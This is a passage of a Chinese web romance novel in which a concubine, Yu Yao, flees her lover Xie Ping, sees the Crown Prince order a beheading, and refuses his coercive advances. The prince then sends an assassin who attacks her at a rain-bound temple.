谢凭没答话,端起就近的茶盏子喝了一口,哪曾知茶水烫得很,谢凭猛地把茶杯往桌子上一扔,发出磕碰的响动十分明显,他斥道:“这正房越发没有规矩了,是谁侍奉的茶水?”
大薛氏被他今日莫名的怒气吓了一大跳,她不作声地咂摸了一遍,沉默地看着谢凭疾言厉色地斥责了侍奉茶水的小婢子,又叫来房里管规矩的人把人拉下去处罚。
大薛氏莫名想到了先前在风花雪月茶楼见到的那个女子,青春正好,姿色无双。尤其是那双明亮妩媚的眸子,她若是个男人,只怕也恨不得将她抱在怀中又是疼又是爱,“心肝宝儿”、“蜜糖罐子”叫个不停呢。
今日的热茶一事后,房间里骤然变得寂静无声,丫鬟们都打起十二分的精神捧着手里边的东西,生怕自己一个不小心,要吃挂落事小,丢了差事,又受责罚才是大事。
大薛氏心中正堵,她知晓谢凭这样的性子向来是说一不二的,秉持着多少无益的心思,大薛氏索性也不说话。
谢凭也不再说话,继续看起了书来,夫妻两个都好似锯了嘴的葫芦,闷声无言。
没成想破冰的人正是有信,他在门口高声喊:“大爷,奴才有事回禀。”
门口守门的婆子晓得他是谢凭身边贴身伺候的小厮,因他年纪小,所以容他在后宅内院行走,故而婆子们也只装模作样似拦未拦。
谢凭一听,手里的书直接掉在圆桌面上,因他起身东西动作太大,不期然将手中那本书掀倒在地上。
大薛氏却见谢凭几乎是跳出了房门,她许多年……不,她与谢凭成婚这许多年,从来没有见过谢凭如此失态的模样。
究竟是什么事情叫他这样一个人失去理智呢?
大薛氏掀开被子,起身下地,捡起来那本书,她摸着书皮封面,又冷眼看着自己的肚子,惨笑一声,面庞苍白后退两步,仰面倒在了美人榻上。
21. 021
谢凭的书房位于镇北侯府院后,青石板小道上雨水未干,高处的竹子梢上有一两只肥嘟嘟的鹧鸪长长唤一声“咕咕~”
书房仿造江南屋宇样式,它是中轴对称的样式,从外面的院墙到里面的屋宇都是青黛粉墙,里面精致情况绝尘,书房后临窗照水,环境悠然舒适,故而得名‘清晖书斋’。
‘清晖’二字正是取自谢灵运的诗句‘晨昏变气候,山水含清晖’。
谢凭一出了锦落院的主门,就对有信说了一句:“跟上。”
有信毕竟年纪小,一眨眼间,原本近在眼前的谢凭忽然就距离他分外遥远了。
好在锦落院与“清晖书斋”的距离并不算远,小跑了一段时间,就跟上了谢凭。
有信这才相信了先前长风对他的叮嘱,叫他在主子跟前不要乱说话,尤其不要乱说余姨娘的事情,据实禀报就是。
他从小就被培养,从一众仆人里选拔出来,来到了谢平身边,成了大家嘴里边得脸的‘有信哥哥’。
谢凭身边的人来来往往,尤其是长得好看的女人,谢凭身边从来不缺,但有信还是头一回见到谢凭这样上心的模样。
一踏进书房的门,谢凭便回身问道:“如何了?”
有信被谢凭脸上黝黑的眼珠子盯得浑身发毛,他颤声说:“禀大人:长风哥哥说,‘水鬼’捞尸队伍打捞的这么几日,一直都没好信儿,那边说要是明日再捞不上来,他们就不捞了,不是不重视贵人的事,而是他们已经把附近的水位都打捞得干干净净,尸体入水七日会变形。他们说,或者是护国寺后山下面瀑布里边有暗流,他们已经有大半的好手折损在这上边,再也损失不起了。”
谢凭一听这话,他沉目思索片刻,忽然想起了什么,他说:“叫人去瞧瞧吐珠胡同宅子里边的衣裳首饰之类的,瞧瞧少了什么没有……算了,你叫长风亲自去瞧,我记得当初吩咐过,不管是我送姨娘的首饰、衣裳,还是姨娘自己买的,都必须有人造物在册,一件件对比……”
有信觉得自家主子当真是得了失心疯了,人都走了,还要查人家的旧物。
只是这话他无论如何也不敢说出来。
没想到余姨娘看似是个不起眼的外室,实则在大人心中竟然占据了这样重要的作用。
眼见有信去了,谢凭收回视线,他用房间里的茶盏倒了杯水,强迫自己坐在书案前凝神思索,自己还有什么遗漏的地方。
谢凭起身从博古架暗门里取出来一个长方条儿的木盒子,打开来,露出了里边卷成圆筒的画轴。
他取出来抽掉了画卷上面的红绳,撩开画卷,露出一副工整精细、眉目传神的公子立身图,正是谢凭画像。
这幅工笔画是余姚年前画给他的,那会子她为着他身边其他女人吃醋,为了争宠,她才眼巴巴地画了这幅图来,他原来爱她十分颜色,后来觉得她哪哪都合心意。
他其实也不滥情,时人呷戏妓子,以此为殊荣。他不爱与人做同靴兄弟,因而外头养的几个小妇儿、家里头抬举的妾室们无不是良家出身。
唯独余姚,是同窗见他巡视扬州,身边没女人侍奉,便拉着他去最有名的江南刘家大院选‘’特产’。
美食、美景不算特殊,唯独美人“瘦马”,却是扬州一绝。
确实一绝,谢凭阅遍美人,见了水葱一样的余姚,便转不动眼睛了。
原以为,能长相厮守到白头……
夭夭,若你真死了,上穷碧落下黄泉,我一定捉你一同入轮回。
若你没死……
谢凭狠狠咬牙,那就夹着尾巴藏好了,若被他找到,他一定叫她,尝尝他的手段!
四月暮春,虽然白日里晒得人头皮疼,但晚上的时候,夜风十分凉爽。
大曌朝改了前朝制度,夜里在城西设立商市,白日里人迹寥寥,偏夜半时分异常热闹。
余姚与春花都戴着白色的帷幕,两人并肩而行,路人只还以为是两个窈窕的姊妹。
春花暗地里捏了捏袖子里的纸面的棱角,硌得她手疼,但她心里颇为高兴。
她说:“有了这空白路引子,咱们想去哪就能去哪了。”
余姚闻言,轻笑说:“是呀,过阵子,咱们去余杭生活,据说‘上有天堂,下有苏杭’,想来定是极好的……比扬州恐怕也是丝毫不差的。”
春花被她说的心中涌起一股子激荡,她是从小就被她爹娘卖进了刘家大院,只是脸生得不好,终究没做成‘瘦马’,只好留下来做个侍奉丫鬟。
她本以为自己一辈子要留在刘家大院里那块腌臜地,将来做成老嬷嬷。
又或者随着余姚留在高门侯府里面,被主子随意指派给某个家生奴才,结婚生子就是一辈子过去了。
夜晚城西地下街市繁华非常,张灯结彩,街边小贩扬起破锣嗓子使劲吆喝,还有一挑着扁担四处奔走的走卒,他们走走停停,偶尔吆喝一两声,若是有人叫停,他们便会卸下肩头上的担子,供客人挑选。
余姚和春花走走停停,四处观望,若是见到了喜欢的东西便会停下驻足。
没一会儿功夫,余姚左手抓着一个冰糖葫芦,右手拿着一束正含苞待放的牡丹花,手中一朵浅黄、青白大花盘,鲜黄色的花蕊被重瓣花朵层层包围。
春花笑嘻嘻地看着余姚手中的花,无不羡慕道:“就算是带着帷幕,也遮不住小姐的容貌。那些小孩眼睛雪亮着呢,知道谁美,就把花给谁。”
余姚说,“哪有的事,只是碰巧罢了。芍药当初说,无论男子还是女子,一副好一些的相貌,若是生在绣户侯门当中那还好,若是貌美而家贫,如稚子抱金过街,路人皆为盗匪。”
春花被余姚说得眉眼一跳,主仆两个失神落寞了许久,两个人漫无目的走了好一会儿,不知不觉间就走进了一个昏暗凄惨的黑巷子里边。
待到两个人反应过来,一时要折返离开,没成想远方的声音愈发大了起来,还有说话声也渐大。
余姚和春花这才察觉到他们是误入了旁人的密辛之地,主仆两个对视一眼,都从彼此的眼睛里看到了退缩。于是两个人正要悄咪咪离开,不曾想正蹑手蹑脚抬起步子,忽然听见脚下传来一声踩断树枝的“咔啦”声。
余姚被吓得心脏都要从嘴里面跳出来了!她看了一眼同样面露出惊恐的春花,以现在她们现在的脚程和现在这里距离亮处的距离,很明显是不成的。
春花急得飚出泪花低声说:“小姐你快跑,都是我惹出来的祸事,我真是狗肉进不了大云京!我来断后!”
余姚原本脸上惊慌未褪,她当然知道两个手无缚鸡之力的孤身女子,遭遇了一伙男人会遭遇什么。
她静下心来思考几瞬,便说:“不成,不管是咱们现在跑还是你留下来拦着,咱们都跑不出,不如咱们不跑了。”
“那怎么能成!”春花捂住嘴道。
余姚眼睛滴溜溜一转,她瞥
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着一旁有一个破旧的摊子,兴许前任商贩是一个卖豆腐的,这里倒放了个挺大的木橱。
她当机立断,指着那个木橱说:“来不及了,咱们钻进去。”
春花从来不会反抗余姚的命令,余姚让她先钻进去,她就半点犹豫都不敢有地钻了进去,余姚紧随其后。当她拉上木橱门的前一刻,一大群身影就从转角处转了过来。
由于空间狭小,余姚与春花两个人一前一后都只能缩着腿,两只膝盖都死死与胸腹位置相帖,两个人呼吸困难。
余姚在前面,她面前有一个竖格子窗,下面是一个刚好一处长条大洞,距离她很近。
余姚听见越来越清晰的脚步声,高大的黑影遮挡住所有的视线,男人们像幽灵一样逡巡着周围。
她听见男人回禀说没发现人,心里还不曾彻底松懈下来,就被高大的黑影笼罩,暗无天日。
余姚双手捂住嘴,屏住呼吸,外面的人故意压低声音,是个男子的声音。
他说:“此人是朝廷蛀虫,贪赃枉法,害得江南两省黎民丧命,而他在其中贪赃枉法。是为律法不容,国家不容,天下人不容。功显,杀了他!”
听见这声音,余姚忽而浑身一颤,她自幼苦学音律,虽样样不精,但耳朵却能辨人音色。
这个声音,这个声音……
竟然是东宫太子!
上回去不知是有意无意,他的手掌从她的手指尖拂过,简直像春天里绿柳伸进了寂静无声的湖水当中。
接着余姚就看见了不然远处到一个穿着宽袖武士袍的高大男人,他的头上倾泻了及肩的卷发,左腰间竟然配了两把双刀。
这个男人高的离谱,看上去浑身精壮有力,太子的命令刚落下,男人立即应声拔刀。
那一刀究竟是怎样落下的,余姚没看清,只记得面前寒光一闪,便看见一颗切面平整的头颅咕噜噜滚到了面前,那人死前不敢置信,两只眼睛瞪得犹如铜铃。
看久了实在阴森可怖,余姚闭上眼不敢看。
不知是不是血腥味太浓烈,余姚感觉到身后的春花一直在颤抖,她想安慰她却也不能够。
于是只好暂时按兵不动,没想到刚才笼罩下来的黑影并没有离开,仍旧如蛛丝网一样覆盖。
下一瞬,黑影骤然退开,余姚以为他们这就要走了,然而一只皂靴忽然踩在了面前死不瞑目的头颅上,余姚看见这荒诞一幕,脸色顿时吓得一白。
“还有小虫子……”太子一边说,一边更俯下身,兴许余姚那边身处一个灰暗之处,他逆着光,一双锐利、雪亮的眸子看的人心悸。
余姚用手捂住自己的口鼻向后移去,而太子凌厉地扫视了一遍。
就在余姚觉得他可能没有了兴趣,县想要离开的时候,太子忽然从木橱门下面裸露洞口,伸进来了一只手。
那只修长、宽大的手掌就像是长了眼睛一样,竟然直接伸向了余姚的脸。
余姚知道自己不能再用手捂住自己的口鼻了,那只几乎看不清的大手猛地伸向了余姚的唇鼻。
顺着那只手,余姚低头看去,喉头一哽。(亲爱的审核大大,呜呜呜真的只是向下看,没干别的啥啊)
借着微弱的光线,余姚看得分明,那只骨节明晰的手掌状若无意地停在了某处。
那是谢凭最喜爱的地方,他会将她圈进自己的怀抱,然后将掌心贴在那处,他故意凑近她耳边说:“夭夭,你的心跳得好快。”
22. 022
那只手来回寻摸了两遍,余姚觉得胸前仿佛有一把火焰从胸膛开始燃烧,直烧到自己两边脸颊就像是被酒烧了一样坨红。
整个脑子都一片空白,余姚觉得自己就像是一条离水上岸、缺氧的鱼。
不知道那双手故意,还是手的主人故意,好在那双手撤了回去,余姚这才敢任由自己大口呼吸。
余姚与春花等了有段时间,直到两个人都挨到了这里的人都离开以后。
主仆两个这才敢推开木橱门,翻了出去。
深蓝色的天幕上,挂着一轮昏昏惨惨的毛月亮,附近一颗枯树杈子高处站着一只睁眼的夜鸮,时不时叫上一声,在这样空寂的夜晚,鸮声惨淡如鬼。
余姚与春花两个人互相对视一眼,都发现彼此的脸色都像是白纸一样。
夜风一吹,余姚就觉得身上一冷,活像是阳世人见了阴间鬼,她这才发觉察自己的后背竟然已经被冷汗竟然浸湿了。
余姚挣扎着站起身来,看见了了脚边上不仅没了头颅,就连不远处的尸体都已经被人收拾得一干二净,地面上那样一大滩血迹也早就没有了踪迹,似乎与将才相比,无非这块比别的地方干净许多。
余姚觉得分外诡异,这样的念头就像是厉鬼缠身一样,余姚觉得自己的身上冷得如坠冰窖。
这样的事情,也只能是某朝某代的某一个书生,摆摊写下的《聊斋志异》中,鬼神之力才能做到如此地步。
越想越害怕,余姚再也不敢久待,她干脆站起来将春花搀扶起来,两个人慌不择路地离开了此处。
就好像身后不是寻常街道,而是《聊斋》中荒惨孤寂的野坟孤冢。
回去的一路上,余姚与春花先是跑出了街市,其实城西的街市与太子给她置办的宅子其实并不远,不然她们两个孤身女子也不敢这样大喇喇地出门来黑市购买路引。
等余姚推开门,她见春花战斗站不稳,便安慰说:“到家了,别害怕。”
春花立即打起了精神,主仆两个连忙将院门给阖死,上了门上的三道锁,两个人这才走进了屋里面。
屋子里又昏又暗,余姚循着记忆,前去翘头案角上的一支烛火点亮。
黑夜原本就如吞噬的猛兽一样,但凡有了一点光亮,都会无比清晰。
余姚转身,忽然发现房间中心,摆放着一张圆桌旁边竟然坐着一个高大的身影,他的目光在她的身上巡视了一遍。
竟然是东宫太子!
她心中警钟大作,差点就把心里边的话脱口而出了。
余姚被他吓得一下子直接跌坐在床榻上,她简直就像是就像是见到了鬼一样,她强撑着问:“木公子,半夜强闯独身女子的房间,这可不是君子所为吧。”
太子却旁若无人地盯着跌坐在床榻上的女子,他盯了一会儿她的眼睛,又将目光落到了她的手边。
她不由自主地向下看了过去,一时间心脏一跳,她的手边俨然放着适才她一路拿回家的黄色牡丹花。
余姚被一阵低低的笑声吸引过去,她抬头看去,竟然看见太子半撑起的手指捻着一片肥厚饱满的淡黄色花瓣。
她顿时感觉自己浑身的血液一下子从脚底凉透到了自己的脑门。
余姚张了张嘴,最终什么都没说出来。
太子却自顾将手中那片花瓣凑近到眼前打量,忽然笑了一声说,“庭前芍药妖无格,池上芙蕖净少情。唯有牡丹真国色,花开时节动京城【1】。余娘子真是好眼光,挑了这样一朵好牡丹,牡丹姚黄象征华丽尊贵,不知是否一切景语皆情语?”
余姚在刘家大院,不过跟着个落魄的老秀才,与众位姊妹听了几节课,老秀才学问有限,不过余姚听懂了他这是在借花喻人。
她本来是发自心底觉得太子真真是清风明月一样的人,现在看来似乎与那些贪恋美色之人并无什么例外。
余姚却想,太子这样尊贵的人,要什么女人得不到,她已经向他说明了自己不是处子,这样位高权重的人,怎么可能愿意与人做‘同靴兄弟’?
她猜想,他定是因着她躲起来的事儿给惹恼了。
余姚知晓这些位高权重的男人,大都是人前要装样儿,若有甚者,长久禁锢自身,身子得不到疏解,性子也变得日渐乖戾起来。
她料定太子是猜到了她已见了他指使人杀伐朝廷命官一事,二人本就是不对等的关系,一直都是她依附着他,借助他的势力,这段时间才能安然无恙避开谢凭和谢凭的人手。
但余姚不知道究竟发生了什么事,太子今天似乎极具侵略性,她不能硬碰硬。
想了想,余姚笑道:“公子好文采,妾念书不多,学问不好,向来不会打哑谜。公子若有事,需向妾明言。”
太子听她打的一手好太极,这些日子他一直压抑心中那股莫名的情愫,以至于白日朝堂上,也常想起她的音容笑貌。
对于一个将来注定要坐上冰冷帝位的人而言,惦念意味着有了软肋,情感在他不经意的时候,日积月累,最后扰他清梦。
他瞥了一眼她水嫣嫣的红唇,喉头微滚,说:“哪有什么事,我记得你上回给我送的糕点,味道真是不错,外面做的都不是这个味道。竟然害我辗转反侧,寤寐思服,余娘子若得了空,便给我做一会那个糕点吧。”
余姚一哑,沉默下来。
所以这位皇太子殿下大半夜杀完了人,又到孤身女子房间里,不开灯扮鬼,就是为了吃个糕点?
“嗯?”太子鼻音正炽,尾音低沉勾人。
余姚咋舌,起身强撑起笑意说:“妾的手艺能令公子满意,是妾的福气。不过这时节梨花谢了个干干净净,做不成梨花酥了。”
太子望着她湿漉漉的眸子,心中却想起梦里她雌伏在他身旁,浑身雪玉样的肌肤被染红,薄汗从额头流经锁骨,蜿蜒向下,最后被他舔净。
他脑子一暖,竟有些痴了。
原来是梨花酥。
余姚见他素日是个温和的端方君子,今日夜里分明见到他踩着带血断头,简直颠覆了她的认知。
她跟着谢凭,是钝刀子割肉的温水煮青蛙,但如果继续带着这样的人眼皮子底下,她能活多久,那还真是个未知数呢。
现在余姚与太子共处一室,害怕得后背发毛,余姚心里只想着赶紧把眼前这个棘手的事情度过去。
她试探说:“不过梨花谢了,妾还会做别的糕点,公子您在这等着,妾很快就能做好。”
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言下之意,是吃完了,记得快点走。
余姚盯着太子的视线,这就撑着往厨房去了。
她来到厨房,就像吃了一口定心丸,她真不知道,这些达官贵人想吃什么吃不着,偏偏半夜三更要来吃她做的劳什子糕点。
只是人在屋檐下,不得不低头。余姚转了一圈厨房,又瞧了瞧还剩下什么食材,能用来做个糕点。
她想定了主意,就开动手做了起来。
不知过了多久,余姚揉弄着手里的面粉,感觉自己的脑子都要随着面团被揉得干干净净。
余姚额前一缕碎发从她那头鸦黑的头发上滑了下来,余姚反手预备用自己的手背去擦汗。
忽然间自己陷入到了一个宽阔、坚硬得怀抱。
鼻尖有一股华贵的龙涎香的味道,与谢凭身上那股子苦柚味不同,这样的味道千金难寻。
唯有身份贵不可言之人才配用这香。
这样的怀抱很明显是男人才有的,且那双圈在她腰际,她能感觉到薄薄春衫下那两只强劲有力的手臂,像铁一样难以挣脱。
余姚感觉自己就像是被树底下一只野狗撕咬的小鸟,她奋力挣扎,但这感觉就像溺水的人掉入深湖,湖里面藻类植物缠绕成一团,乱成发丝绞缠住她。
身后的男人显然没料到她竟然挣扎得这样激烈,差些被她挣脱掉。
太子用力收紧手臂,余姚的两只手臂被他勒得紧贴两侧身子,再也挣扎不得。
“是我。”低沉的男声传来。
见她仍旧挣扎不休,太子便道:“你一个孤身女子在世,还带着一个累赘侍女,你跟着我,我自然赠你一场大富贵。”
余姚恨道:“当初见你,是个端方尔雅的君子,我才对你说明困境,你亦出手相助。我只当你是个如圭如璋、怜贫惜弱的郎君,没成想,你从始至终都是色欲熏心!”
太子在女人一道上,哪里遭受过这样的冷待,他一个滚烫的心顿时被冷水浇得透心凉。
太子却心想,兴许是自己会错了意思,王振曾说,小娘子们大多是嘴上说不要,实际上身子就是再说要。
他低下头,将脸凑近余姚耳边,故意压低声音说:“你跟我,我总不会亏待你。将来吃不尽的山珍海味,穿不完的绫罗绸缎,使不光的金银珠宝。”
太子渐渐地余姚不再挣扎,他心中得意,果然如王振所说,女子大多为利益所诱,想不到如此美色也会为钱财折腰。
他一边又觉得她跟他以后,他必不会亏待她,一边又觉得她真是一个贪婪无厌的女子。
余姚冷冷说:“公子人中龙凤,学富五车,妾已非完壁,不敢攀附。”
太子只仍将她的抗拒当做情趣,他忍着本能,想将手上移,男欢女爱实在很应该两情相悦,否则强扭的瓜,有什么趣儿?
太子松开一只手,撩起她的鬓边发丝,放在鼻尖轻嗅,幽幽反问:“你觉得我在乎?”
说罢,他道:“你年少可怜,身不由己,完壁不完壁的,岂是你一小小女子能反抗?好在你来到了我的身边,若你肯跟我,我自然赠你一场富贵。”
余姚吓得肝胆俱裂,她面色惨白,不由冷笑:“你肯娶我做正室吗?”
23. 023
太子听见余姚竟问出这样痴傻的话来,他心中不快,不由沉默下来。
娶她?
她不过是个出身低贱的舞姬,且还早就被人破了身子,虽然容貌生得不错,但到底出身过于卑贱了,这样的身份,连当个东宫美人都不够。
他又是曌国储君,将来的太子妃必然是出身四世公卿的名门贵女,岂能娶一个舞姬女子?
将来成败盖棺,青史留名,他千古一帝的脸面要往哪里放?
太子的沉默已经给出了答案,纵然余姚问出这些话,只是为了拖延时间,然而得到这样的回复,既在意料之中,又叫她心中难过。
她们这样的女子,在权贵的眼中并不是人,可她们又的的确确又不是什么禽兽、玩物。
余姚冷漠地说出了太子明说的话:“你绝不会娶我作正房嫡妻,因你从未将我当人看待。我已在佛前发愿,此生只嫁给与我两心相许的郎君。”
太子奇道:“若对方是个家务寸金的男子,他与你两心相许了,你也肯跟他不跟?”
余姚趁他说话欲要从他手中挣脱,他收紧手臂,困得她在方寸间。
意想不到竟被他看穿内心,余姚恨得牙齿出血,她冷道:“正是!千金难买我甘愿。我的意中人定然不会做出逼迫孤女之类的无品事,若是这样,岂非与街市上的地痞无赖无异?”
太子听了,胸中一股郁气上涌,燥得他双目赤红,他眼底冷意更甚,“你好,果然很好,好大的胆子。”
接下来,太子把手一松,冷笑道:“你果然是个有骨气的人,女中元帅,既然谈不拢,那便算了。你无依无靠,这院子给你了,日后我倒要瞧瞧,你的意中人究竟是个怎样的人。”
余姚捂住胸口,抬眼看过去,对面高瘦的男人半张脸被烛光照得极亮,另一边脸隐匿在暗处。
不知何时,太子脸上的笑变得又阴又狠,余姚忍不住抱紧了自己的衣袖。
太子见她脸上竟然半点不动容,心中冷哼,自己先前屡次救她,竟然还救错了不成?
他向来沉稳,十岁就上朝听政,不光管何时何地,他都没有如此失态过。
想不到,头一回对一个女子求欢,竟然还被拒绝了,想到此,太子脸色更难看了。
不过他向来喜怒不形于色,少有叫他失态的事。
余姚把手一伸,说:“既如此,公子请吧。妾只当看错了人。”
太子见她脸上尽是一副恨他怎么还不走的神情,唯恐他多停一秒的时间。
太子冷笑一声,将袖子一甩出了门子去。
见他走了,余姚顿时支撑不住,她搀扶着灶台缓缓瘫坐了下来。
高处灶台上的烛火受了窗中拂进来的风,颤颤巍巍地“噼啪”一声,明灭忽闪。
夜凉如水,一辆两驾马车悄无声息停在胡同院门口,太子出了门子,就登了车去,车轮缓缓行驶起来,太子冷着脸孔,空气当中剩下了车轮缓缓行驶的粼粼响声。
过了好一会儿功夫,车轮的响声停下,外面的人恭敬回复道:“殿下,到东宫了。”
太子下了车,自有守门的护卫将门打开来,宫殿里面刹那间亮起了烛火,一瞬间恍如白昼。
内侍与宫娥们齐齐屈膝下拜,道:“恭迎太子殿下,太子殿下千秋。”
太子今夜心情分明不虞,但他在不论在人前还是人后,都会维持自己身为储君的颜面与自持。
他抬手说:“起吧。”
太子一路径自回了寝殿,他身边随侍的内侍太监王振半是耷拉着眼皮子,皇家子女就是这样,亲生的父母都没有同他们这些内侍一样亲近过。
王振侍奉了这位太子殿下时长已逾十八年,因此他对于太子的敏感度远超过其他人。
今夜太子去了余娘子的住处,他虽然是个没了孽根的阉人,但他对于男女之间的情爱尤其敏感,
都不需要用脑子想,太子去了,但冷着脸离开,这样看来一定是他家这位殿下终于在男女情爱一道上终于尝到了栽跟头的滋味。
王振叹口气,主子心情不好了,他们这些做奴才的就只能更加小心服侍。
好在太子今夜虽然不高兴,但也并没有对他们为难,侍奉太子洗漱更衣以后,王振就守在门口睡着了过去。
哪成想,大半夜的时候,王振忽然被他的徒子徒孙给叫醒了,说是太子起了。
王振打着哈欠,一张胖脸上的窄细的眯眯眼憋出了眼泪,他接过徒孙递过来的冷水巾子往脸上一按,顿时冷得三魂回了七魄。
王振擦了一把脸,就进了太子殿下的寝宫。他一踏进去,忽然耸动了两下鼻子,这是……
太子殿下,他今儿夜里又成人了?
王振进去的时候,他见面太子殿下立在窗边,手边的高几案上摆放着宫里边大师傅做的酥糕,太子身上穿着纤薄的一身寝衣,长发披散在肩头,原本温润宽和的眉眼瞬间就变得妖冶起来。
太子身后单膝跪着一个身材高壮、身穿文武袍的男人。
太子望向窗外,院子里载满了山茶花,夜晚乌黑如薄纱,天边的月亮皎洁明媚,照在洁白如棉花雪一样的山茶花上。
夜晚馥郁的山茶花香就笼罩着整座宫殿,因此宫殿里的小内侍需要咨循着小路挨个熏艾草驱蚊虫。
太子看着满院子的白山茶,心中想的却是另一个人,他已经梦见她太多次数了,已经完全超越了正常的想念。
他是这个国家将来的掌权者,他应该娶的女子应当是出身高贵的高门闺女,他怎么能有这样大的软肋呢?
他自幼就被上一任帝师教导,帝师说,帝王的宝座是冰冷彻骨的,若是做上去的人,不比它更加冰冷,那这样的人是坐不稳的。
太子背对众人,他缓缓说:“年同,孤要你去杀一个人。”
年同立即道“是!”
王振也早就习惯了太子殿下上传下达,只是以往像这样半夜不睡觉,把人叫起来去杀人的情况,是从来没有的。
太子殿下今儿是怎么了?
太子将手伸到窗外,外面茶树开的正盛,他折断了一只白色山茶,放到鼻尖轻轻嗅,说:“杀了,余娘子。”
年同与王振俱是浑身一颤,尤其是王振,他是知晓太子今夜去找过余娘子的,夜黑风高,孤男寡女共处一室,这余娘子是怎么回事啊,不仅没伺候好太子殿下,还叫太子殿下对她起了杀心。
王振太清楚男女之间这点事了,不管是现在杀了,将来太子想起来的时候,不知道会有多恨亲手杀了曾经喜爱过的姑娘的人,还是他日余娘子与太子重修旧好,来找人算账。不论怎样,都不是好抉择。
他倒不曾多嘴,宫里边的铁规,各人自扫门前雪,莫管他人瓦上霜。
不介入他人的命运,便不会承担他人的因果。
年同领命离去,太子也没说要继续回头去睡觉,过了一会儿,太子说把奏折搬到他寝宫里来。
王振自然带着他得徒子徒孙们前去书房里去搬奏折来,搬运的途中,每两个小内侍一组,他们一起抬着奏折去了太子寝殿。
不想王振再旁边伺候烛火,这一侍奉,竟然到了天明,太子卯正初刻就上朝去了。
天明一场雨,湖水边绕堤的绿柳浅青深绿,春风吹皱美人面,掀起波澜。
街边行人来来往往,还有贩夫走卒一边吆喝一边行走。一只素手拨开了碧纱帘子,露出一张嫩白的脸孔半露出来。
她看看路程,一旁的春花打着哈欠说:“小姐,咱用得着这么早就走吗?”
余姚想起昨日夜里那些抹不掉的事,分明温暖的阳光落在自己的半边身子上,可她还是觉得身处严寒之中。
她想起太子昨日踩住断头的模样,不由胆寒。她昨儿夜里,怕得睡不着,凌晨的时候,迷迷糊糊睡着了,半梦半醒间梦见了太子脚下的头颅已经换成了她的断头,她吓得惊醒。
因此,余姚赶忙叫醒春花,两个人迅速收拾了一番家当,预备就此离开云京城。
余姚说,“你不是说想去余杭吗?咱们现在就去。”
春花挠挠头:“可是,咱也用不着这么早就走吧,太赶了,小姐你身子弱,吃不消的。”
余姚心中有事,却不能叫春花知晓,她又是担忧被谢凭找到折磨,又是担心太子不肯轻易放过她。
忧惧之下,脑子里疼得难受,她放下了马车
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帘子,闭上眼说:“不赶,只怕咱们还走晚了。”
春花自然听不懂余姚说的玄机,她见余姚难受地闭上眼,也就闭口不谈了。
马车行驶速度不算慢,余姚与春花雇佣的马车到了半下午的时候到了城外。
只是下午的时候,天空响起惊雷,不肖多久,天空就开始下起了淅淅沥沥的大雨,外面狂风大作,本以为雨会渐渐停下,但这这场雨下得实在太大,余姚雇佣的镖局来人说,雨太大了,需要在郊外的破庙里歇上一晚。
余姚看见马车外,不远处天边一道惊雷从黑蓝色的天空上形成一条白紫色的银蛇,瞬间落到了远边高处的树梢上,随着一道振聋发聩的雷电轰鸣声,刚才被劈中的树梢已经在伴随着银针一样下落的骤雨,燃烧了起来。
这下子是想走也不成了,余姚点点头,同意镖局前往破庙的消息。
下了马车,春花跟在余姚身后手持一把油纸伞。
余姚来到破庙前,忽而天边一道闪电霹雳照亮天际,她抬起脸,这才看清了破庙上方挂着的一块等章长满了蜘蛛网的牌匾,上面写着:鸡鸣寺。
余姚与春花进入庙内没多久,镖局里唯一的女镖师便给她们送来两份干粮。余姚对她谢过,就与春花一起分食了干粮,出门在外,也没什么讲究,主仆两个简单梳洗了一番,就相互依偎在一起睡了过去。
夜里余姚觉浅,她原本在听着淅淅沥沥的雨声,把头靠在了一边粗壮的红色圆柱上。
忽而听见了一阵子马蹄惊鸿的声音,在极其富有规律的雨声中格外明显。
本以为是过路的驿使,余姚就没太注意,只是那马蹄声愈发近了,简直近在耳侧。
余姚顿时睁开了眼睛,她蹑手蹑脚去了窗户那边,从破了口子的窗外看去,之间庙外一个异常高大的男人立在雨中,雨水顺着他的盔甲一直往下滴答滴答,在漆黑的夜里,像浓稠腥臭的血液流入泥土中。
她注意到男人的左手一直按在了他左腰后的一把长柄黑色腰刀上。
很明显的杀伐之气,余姚被这样的感觉吓得连连后退两步。
等她沉住心绪,忽而听得外面男人高声叫道:“庙里的人出来,某只杀此次镖局要护的人,只给尔等十息功夫,若是还不出来,那某只好认同尔等阻挠。某入了庙,绝不肯放过!”
他这样子的喊叫果然惊醒了庙里面的众人,男镖师们都走了出去,纷纷拔出了腰际的佩刀,一时间双方剑拔弩张。
余姚叫醒了春花,百思不得其解,自己究竟是得罪了什么人,竟然要遣人来杀她?
男镖师中领头那个看着对面高壮的男人,冷笑说:“兄弟,你哪个道上的?听没听过我们龙狮镖局的名号?你叫我们走,我们就走?那我们岂不是很没有面子!”
蒙面的男人冷笑一声,原本垂下的头忽然抬起,他戴着一只攒尖顶雨笠,帽檐下雨水如断线,唯独男人眼眸凌厉如鹰隼。
蒙面男人缓缓拔出腰刀,双手握刀,刀身雪亮寒光。
镖局的众位镖师们摆出应战姿势,领头的镖师仍在嘲道:“少废话,是骡子是马,拉出来溜溜就是。”
这时天空有开始打起霹雳来,余姚看见外面两伙人举起刀剑厮杀来起来,只是那个蒙面男人身手异常灵活,就连手段也酷厉非常。
蒙面男人一刀切了领头镖师的脖子,他的半边脸被断头喷溅出的鲜血污了,男人擦都没擦,横道在前:“某不杀无辜者,现在给你们最后一个机会,不逃命就预备横死在某的刀下!”
剩下的镖师面面相觑,一番心理内战后,一群人纷纷弃刀而逃。
余姚见状心中忧惧交加,春花抖若筛糠。
余姚逃也不逃,干脆站在原地等着人进来。
没一会儿,那蒙面男人举着腰刀走进来,刀身上的血顺着刀沿向下滑落,刀尖刮在石板地面,发出“吱”地一声,血迹蜿蜒。
余姚与他面对面而站,男人眼里顿时积蓄冷寒,她稳住自己想向后退缩的身形,冷静问:“不知妾得罪了谁,竟出动您这样的大人物?”
蒙面男人压低声音,“去问阎王吧!”
余姚眼见那刀挥过来,眼前寒光凛冽。
24. 024
就在生死一线的时候,余姚忽然脑子清醒,想到了一个人影。
那男人逆着光,脸色阴沉,看着她的眼神冷漠冰凉。
是谢凭吗?
还是太子?
眼前雪亮的寒光忽地从眼前闪过,闪得余姚几乎睁不开眼,死亡对她并不陌生,就像是陷入了一场暗无天日的沉睡。
一睁开眼便是新的人生了,只是,上天已经对她仁慈过一会了,她如果这次死了,真的还会有来生吗?
余姚缓缓闭上眼睛。这次死于刀下,一定不会比上一世吞金而亡更痛苦了吧?
伴随一旁春花凄厉的喊叫声“小姐”!忽然余姚的眼前再次闪过一道了冷厉的刀光。
